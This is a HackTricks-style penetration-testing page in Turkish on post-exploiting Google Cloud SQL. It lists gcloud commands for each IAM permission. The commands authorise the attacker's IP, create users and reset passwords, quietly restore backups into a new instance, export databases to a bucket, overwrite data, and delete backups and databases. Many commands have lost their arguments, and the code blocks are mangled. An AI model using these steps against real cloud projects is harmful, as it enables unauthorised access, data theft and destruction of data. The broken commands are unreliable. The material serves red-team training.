GCP - Cloud SQL Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cloud SQL

Cloud SQL hakkında daha fazla bilgi için bakın:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Veritabanlarına bağlanmak için sadece veritabanı portuna erişim ve kullanıcı adı ile şifreyi bilmeniz yeterlidir; herhangi bir IAM gereksinimi yoktur. Bu nedenle, veritabanının bir public IP adresi olduğunu varsayarsak, erişim sağlamak için kolay bir yol izin verilen ağları güncellemek ve kendi IP adresinizin erişimine izin vermektir.

Kendi IP'nizi izin verip veritabanına bağlanın ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Ayrıca **`--no-backup`** kullanarak veritabanının **yedeklerini bozmak** da mümkündür.

Bunlar gereksinimler olduğundan, **`cloudsql.instances.connect`** ve **`cloudsql.instances.login`** izinlerinin tam olarak ne işe yaradığından emin değilim. Eğer biliyorsan bir PR gönder!

### `cloudsql.users.list`

Veritabanındaki **tüm kullanıcıların listesini** al:

<details>

<summary>Veritabanı kullanıcılarını listele</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Bu izin veritabanı içinde yeni bir kullanıcı oluşturmayı sağlar:

Veritabanı kullanıcısı oluştur ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Bu izin, veritabanı içinde kullanıcıyı güncellemenize olanak tanır. Örneğin, parolasını değiştirebilirsiniz:

Kullanıcı parolasını güncelle ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups eski hassas bilgiler içerebilir, bu yüzden bunları kontrol etmek ilginçtir.
Restore a backup veritabanı içinde:

Restore database backup ```bash gcloud sql backups restore --restore-instance ```

Bunu daha gizli bir şekilde yapmak için, mevcut çalışır durumda olan veritabanları yerine yeni bir SQL instance oluşturarak verileri orada kurtarmanız önerilir.

cloudsql.backupRuns.delete

Bu izin, yedekleri silmeye olanak tanır:

Yedeği sil ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Bir veritabanını dışa aktarın bir Cloud Storage Bucket’a, böylece oradan erişebilirsiniz:

Veritabanını bucket'a dışa aktar ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Bir veritabanı içe aktar (üstüne yaz) Cloud Storage Bucket’tan:

Bucket'tan veritabanı içe aktar ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

db instance’ten bir veritabanını sil:

Veritabanı sil ```bash gcloud sql databases delete --instance ```

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin